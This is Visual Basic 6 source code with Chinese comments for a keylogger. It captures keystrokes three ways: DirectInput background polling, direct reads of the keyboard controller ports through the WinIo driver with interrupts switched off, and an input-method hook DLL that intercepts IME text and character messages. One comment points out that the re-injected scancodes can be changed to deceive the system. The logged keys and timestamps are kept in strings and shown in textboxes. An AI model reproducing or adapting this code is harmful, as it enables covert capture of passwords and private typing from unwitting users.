- Private Sub Form_Load()
- If InitializeWinIo = False Then '加载WINIO驱动
- MsgBox "WINIO驱动程序无法加载!"
- 'End
- End If
- ' -------------------
- WM_HXWDLLWX_QQBTX = RegisterWindowMessage("WM_HXWDLLWX_QQBTX") '注册自定义消息
- WM_HXWDLLWX_HOOKKEY = RegisterWindowMessage("WM_HXWDLLWX_HOOKKEY")
- ' -----------------
- Set DX = New DirectX7 '建立DirectX对象
- Set DI = DX.DirectInputCreate() '建立DirectInput对象
- Set DI_Keyboard = DI.CreateDevice("GUID_SysKeyboard") '建立DirectInput的键盘对象
- DI_Keyboard.SetCommonDataFormat DIFORMAT_KEYBOARD '设置数据格式
- DI_Keyboard.SetCooperativeLevel 0, DISCL_BACKGROUND Or DISCL_NONEXCLUSIVE '设置协作模式(就是DX设备要与某个窗口关联)。DISCL_BACKGROUND这个是最重要的,它让程序即使在后台运行也能监视键盘输入,不然怎么做HOOK呢^_^
- DI_Keyboard.Acquire '开始
- ' ------------------------
- PrevWndProc = SetWindowLong(Me.hWnd, GWL_WNDPROC, AddressOf SubWndProc) '子类化窗口,以便能处理DLL发出的自定义消息
- DLLstartHOOK Me.hWnd '初始化DLL
- DLLsetHOOKState True '打开输入法HOOK
- ' -----------------------
- 'Dim tempX As Long
- 'tempX = MyInp(&H60)
- 'tempX = MyInp(&H64)
- 'KBCWait4IOF
- 'MyOUT &H64, &H20
- 'KBCWait4IBF
- 'KeyboardIOCommand = MyInp(&H60) '读取键盘控制器原始命令字节
- ' ----------------------
- Timer1.Interval = 45 '设置轮询间隔
- Timer2.Interval = 36
- Timer1.Enabled = True
- Timer2.Enabled = True
- CloseKeyboardINT '关键盘中断
- End Sub
- Private Sub Form_Unload(Cancel As Integer)
- OpenKeyboardINT '开中断
- DLLsetHOOKState False '关闭输入法HOOK
- DLLstopHOOK '卸载输入法HOOK
- Call SetWindowLong(Me.hWnd, GWL_WNDPROC, PrevWndProc) '还原子类化窗口
- ' ----------------
- DI_Keyboard.Unacquire '释放DirectInput对象
- Set DI_Keyboard = Nothing
- Set DI = Nothing
- Set DX = Nothing
- ShutdownWinIo '卸载WINIO
- End Sub
- Private Sub Text1_Change()
- Text1.SelStart = Len(Text1.Text)
- End Sub
- Private Sub Text2_Change()
- Text2.SelStart = Len(Text2.Text)
- End Sub
- Private Sub Text3_Change()
- Text3.SelStart = Len(Text3.Text)
- End Sub
- Private Sub Timer1_Timer()
- ' DX键盘记录
- 'On Error Resume Next
- Static keyArray(255) As Byte
- Dim key_count As Integer, vKeyCode As Integer, vKeyASC As String
- DI_Keyboard.GetDeviceStateKeyboard key_state '轮询键盘,并把键盘输入保存到key_state结构中
- For key_count = 0 To 255
- If keyArray(key_count) <> key_state.Key(key_count) Then '判断是否有键被按下或弹起,key_count代表的是被按下的键的扫描码
- vKeyCode = MapVirtualKey(key_count, 1) '扫描码转虚拟码
- vKeyASC = Chr(MapVirtualKey(vKeyCode, 2)) '虚拟码转换为ASCII字符
- If vKeyASC <> Chr(0) Then
- If GetKeyState(VK_CAPITAL) Mod &HFF80 = 1 Then
- vKeyASC = UCase(vKeyASC) '根据大小写锁定键判断大小写
- Else
- vKeyASC = LCase(vKeyASC)
- End If
- If vKeyASC = " " Then vKeyASC = "【空格】"
- Else
- vKeyASC = "【" & CStr(vKeyCode) & "】" '如果是不能显示的键,则直接显示虚拟码
- End If
- If key_state.Key(key_count) = 0 Then vKeyASC = vKeyASC & "|" & "up" Else vKeyASC = vKeyASC & "|" & "down" '记录是按下(down)还是弹起(up)
- DataKeyCacheDX = DataKeyCacheDX & vKeyASC & " " '存储按键,以空格为分隔符
- DataKeyCacheDXMore = DataKeyCacheDXMore & Now() & "|" '存储按键时间信息,以|为分隔符
- Text1.Text = DataKeyCacheDX
- End If
- keyArray(key_count) = key_state.Key(key_count)
- Next
- End Sub
- Private Sub Timer2_Timer()
- '驱动级键盘记录
- ' GetKeyStatType1 '第一种办法,简单轮询
- GetKeyStatType2 '第2种办法,关闭键盘中断然后轮询
- End Sub
- Private Sub GetKeyStatType1()
- Static lastKey As Integer
- Dim mydata As Integer, myKBC As Integer
- Dim vKeyCode As Integer, vKeyASC As String, key_count As Integer
- myKBC = MyINP(&H64) '读取键盘控制端口
- If myKBC = 20 Or myKBC = 28 Then '如果键盘控制器是我们想要的状态
- 'If ((myKBC And 246) Or 20) = 20 Then '如果键盘控制器是我们想要的状态
- mydata = MyINP(&H60) '读取键盘数据端口
- If mydata <> lastKey And mydata <> 0 Then
- key_count = mydata And 127 '总是将断码变为通码
- vKeyCode = MapVirtualKey(key_count, 1) '扫描码转虚拟码
- If vKeyCode <> 0 Then
- vKeyASC = Chr(MapVirtualKey(vKeyCode, 2)) '虚拟码转换为ASCII字符
- If vKeyASC <> Chr(0) Then
- If GetKeyState(VK_CAPITAL) Mod &HFF80 = 1 Then
- vKeyASC = UCase(vKeyASC) '根据大小写锁定键判断大小写
- Else
- vKeyASC = LCase(vKeyASC)
- End If
- If vKeyASC = " " Then vKeyASC = "【空格】"
- Else
- vKeyASC = "【" & CStr(vKeyCode) & "】" '如果是不能显示的键,则直接显示虚拟码
- End If
- If mydata And 128 Then vKeyASC = vKeyASC & "|" & "up" Else vKeyASC = vKeyASC & "|" & "down" '记录是按下(down)还是弹起(up)
- DataKeyCacheWINIO = DataKeyCacheWINIO & vKeyASC & " " '存储按键,以空格为分隔符
- DataKeyCacheWINIOMore = DataKeyCacheDXMore & Now() & "|" '存储按键时间信息,以|为分隔符
- Text2.Text = DataKeyCacheWINIO
- lastKey = mydata
- End If
- End If
- End If
- End Sub
- Private Sub GetKeyStatType2()
- Static lastKey As Integer
- Dim mydata As Integer, myKBC As Integer
- Dim vKeyCode As Integer, vKeyASC As String, key_count As Integer
- myKBC = MyINP(&H64) '读取键盘控制端口
- 'If myKBC = 22 Or myKBC = 30 Then
- If myKBC And &H1 Then
- mydata = MyINP(&H60) '从缓冲区取走数据。这时取走的肯定是键盘数据,不会包含鼠标数据,因为鼠标数据会被鼠标中断第一时间取走。
- myKBC = MyINP(&H64) '读取键盘控制端口
- If myKBC = 20 Or myKBC = 28 Then
- If mydata <> lastKey And mydata <> 0 Then
- key_count = mydata And 127 '总是将断码变为通码
- vKeyCode = MapVirtualKey(key_count, 1) '扫描码转虚拟码
- If vKeyCode <> 0 Then
- vKeyASC = Chr(MapVirtualKey(vKeyCode, 2)) '虚拟码转换为ASCII字符
- If vKeyASC <> Chr(0) Then
- If GetKeyState(VK_CAPITAL) Mod &HFF80 = 1 Then
- vKeyASC = UCase(vKeyASC) '根据大小写锁定键判断大小写
- Else
- vKeyASC = LCase(vKeyASC)
- End If
- If vKeyASC = " " Then vKeyASC = "【空格】"
- Else
- vKeyASC = "【" & CStr(vKeyCode) & "】" '如果是不能显示的键,则直接显示虚拟码
- End If
- If mydata And 128 Then vKeyASC = vKeyASC & "|" & "up" Else vKeyASC = vKeyASC & "|" & "down" '记录是按下(down)还是弹起(up)
- DataKeyCacheWINIO = DataKeyCacheWINIO & vKeyASC & " " '存储按键,以空格为分隔符
- DataKeyCacheWINIOMore = DataKeyCacheDXMore & Now() & "|" '存储按键时间信息,以|为分隔符
- Text2.Text = DataKeyCacheWINIO
- End If
- End If
- End If
- lastKey = mydata
- OpenKeyboardINT '开中断
- KBCWait4IBF
- MyOUT &H64, &HD2 '将收到的数据复制到键盘输入缓冲区
- KBCWait4IBF
- MyOUT &H60, mydata '将收到的数据复制到键盘输入缓冲区,这里你完全可以修改这个数据,从而欺骗系统,比如将A键改成B键
- 'OpenKeyboardINT '开中断
- Sleep 1 '等待键盘中断处理
- KBCWait4IBF
- CloseKeyboardINT '关键盘中断
- End If
- End Sub
- Private Sub CloseKeyboardINT()
- '关闭键盘中断
- Dim tmpX As Long
- tmpX = MyINP(&H60) '清空键盘的输入缓冲区
- tmpX = MyINP(&H64)
- KBCWait4IOF
- MyOUT &H64, &H60
- KBCWait4IOF
- 'MyOUT &H60, KeyboardIOCommand And &HFE
- MyOUT &H60, 70 '设置状态位,关闭键盘中断
- End Sub
- Private Sub OpenKeyboardINT()
- '打开键盘中断
- Dim tmpX As Long
- tmpX = MyINP(&H60) '清空键盘的输入缓冲区
- tmpX = MyINP(&H64)
- KBCWait4IBF
- MyOUT &H64, &H60 '&H60表示写键盘控制器命令字节
- KBCWait4IBF
- 'MyOUT &H60, KeyboardIOCommand Or &H1 '打开键盘中断
- MyOUT &H60, 71 '打开键盘中断
- End Sub
模块:
- Declare Function MapPhysToLin Lib "WinIo.dll" (ByVal PhysAddr As Long, ByVal PhysSize As Long, ByRef PhysMemHandle) As Long
- Declare Function UnmapPhysicalMemory Lib "WinIo.dll" (ByVal PhysMemHandle, ByVal LinAddr) As Boolean
- Declare Function GetPhysLong Lib "WinIo.dll" (ByVal PhysAddr As Long, ByRef PhysVal As Long) As Boolean
- Declare Function SetPhysLong Lib "WinIo.dll" (ByVal PhysAddr As Long, ByVal PhysVal As Long) As Boolean
- Declare Function GetPortVal Lib "WinIo.dll" (ByVal PortAddr As Integer, ByRef PortVal As Long, ByVal bSize As Byte) As Boolean
- Declare Function SetPortVal Lib "WinIo.dll" (ByVal PortAddr As Integer, ByVal PortVal As Long, ByVal bSize As Byte) As Boolean
- Declare Function InitializeWinIo Lib "WinIo.dll" () As Boolean
- Declare Function ShutdownWinIo Lib "WinIo.dll" () As Boolean
- Declare Function InstallWinIoDriver Lib "WinIo.dll" (ByVal DriverPath As String, ByVal Mode As Integer) As Boolean
- Declare Function RemoveWinIoDriver Lib "WinIo.dll" () As Boolean
- ' ------------------------------------以上是WINIO函数声明-----------------------------------------------
- Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
- Public Declare Function MapVirtualKey Lib "user32" Alias "MapVirtualKeyA" (ByVal wCode As Long, ByVal wMapType As Long) As Long
- Public Declare Function RegisterWindowMessage Lib "user32" Alias "RegisterWindowMessageA" (ByVal lpString As String) As Long
- Public Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
- Public Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
- Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
- Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
- '---------------------------------API函数的声明-----------------------
- Public Declare Function DLLstartHOOK Lib "hxwdllwx.dll" (ByVal hWnd As Long) As Long '初始化钩子
- Public Declare Function DLLstopHOOK Lib "hxwdllwx.dll" () As Long '卸载钩子
- Public Declare Function DLLsetHOOKState Lib "hxwdllwx.dll" (ByVal myState As Boolean) As Long '打开或关闭钩子
- Public Declare Function DLLGetPubString Lib "hxwdllwx.dll" () As String '获得输入法输入
- Public Declare Function DLLSetPubString Lib "hxwdllwx.dll" (ByVal tmpstr As String) As Long '修改输入法输入
- Public Declare Function DLLGetPubMsg Lib "hxwdllwx.dll" () As Long '获得拦截到的键盘消息,返回一个lpMSG类型的指针
- ' ------------------------输入法HOOK DLL导出函数-----------------------------
- Public Type POINTAPI
- x As Long
- y As Long
- End Type
- Public Type lpMSG
- ' 声明windows消息类型
- hWnd As Long
- message As Long
- wParam As Long
- lParam As Long
- time As Long
- pt As POINTAPI
- End Type
- Public Const VK_CAPITAL As Long = &H14
- Public Const VK_NUMLOCK As Long = &H90
- Public Const VK_SHIFT = &H10
- Public Const GWL_WNDPROC = -4
- Public Const WM_KEYDOWN = &H100
- Public Const WM_CHAR = &H102
- Public WM_HXWDLLWX_QQBTX As Long '自定义消息
- Public WM_HXWDLLWX_HOOKKEY As Long
- Public PrevWndProc As Long '保存旧的窗口处理函数地址
- Public DX As DirectX7
- Public DI As DirectInput
- Public DI_Keyboard As DirectInputDevice
- Public key_state As DIKEYBOARDSTATE
- Public DataKeyCacheDX As String, DataKeyCacheDXMore As String
- Public DataKeyCacheWINIO As String, DataKeyCacheWINIOMore As String
- Public DataKeyCacheIME As String
- Public DataKeyCacheChar As String
- Public KeyboardIOCommand As Long
- Public Function SubWndProc(ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
- Dim tmpS As String, myMSG As lpMSG, MSGPoint As Long
- Dim mydata(1) As Byte, CharStr As String
- Static lastChar As Byte
- If Msg = WM_HXWDLLWX_QQBTX Then
- '如果收到了输入法上屏拦截消息
- tmpS = DLLGetPubString() '获得输入法输入
- DataKeyCacheIME = DataKeyCacheIME & tmpS & " "
- Form1.Text3.Text = DataKeyCacheIME
- 'tmpS = tmpS & "(被修改)"
- 'DLLSetPubString tmpS '修改输入法输入
- End If
- If Msg = WM_HXWDLLWX_HOOKKEY Then
- '如果收到的是键盘拦截消息
- MSGPoint = DLLGetPubMsg()
- CopyMemory myMSG, ByVal MSGPoint, Len(myMSG) '将指针MSGPoint所指的内存区域复制到myMSG结构中
- If myMSG.message = WM_CHAR Then
- If myMSG.wParam < 128 Then
- lastChar = myMSG.wParam
- DataKeyCacheChar = DataKeyCacheChar & Chr(lastChar)
- Form1.Text4.Text = DataKeyCacheChar
- Else
- If lastChar >= 128 Then
- mydata(1) = lastChar
- mydata(0) = myMSG.wParam
- CharStr = StrConv(mydata, vbUnicode)
- lastChar = 0
- DataKeyCacheChar = DataKeyCacheChar & CharStr
- Form1.Text4.Text = DataKeyCacheChar
- Else
- lastChar = myMSG.wParam
- End If
- End If
- End If
- 'CopyMemory ByVal MSGPoint, myMSG, Len(myMSG) '将myMSG的数据复制回MSGPoint所指的内存区域
- End If
- SubWndProc = CallWindowProc(PrevWndProc, hWnd, Msg, wParam, lParam) '将消息传给旧的窗口函数继续处理
- End Function
- Function MyINP(ByVal PortAddr As Integer) As Long
- Dim PortVal As Long
- GetPortVal PortAddr, PortVal, 1
- MyINP = PortVal
- End Function
- Sub MyOUT(ByVal PortAddr As Integer, ByVal theData As Long)
- SetPortVal PortAddr, theData, 1
- End Sub
- Sub KBCWait4IBF() '等待键盘输入缓冲区为空
- Dim dwVal As Long
- Do
- GetPortVal &H64, dwVal, 1
- Loop While (dwVal And &H2)
- End Sub
- Sub KBCWait4OBF() '等待键盘输出缓冲区为空
- Dim dwVal As Long
- Do
- GetPortVal &H64, dwVal, 1
- Loop While (dwVal And &H1)
- End Sub
- Sub KBCWait4IOF() '等待键盘两个缓冲区都为空
- Dim dwVal As Long
- Do
- GetPortVal &H64, dwVal, 1
- Loop While (dwVal And &H3)
- End Sub
- Sub KBCWait4IBFFull() '等待键盘输入缓冲区不为空
- Dim dwVal As Long
- Do Until (dwVal And &H2)
- GetPortVal &H64, dwVal, 1
- Loop
- End Sub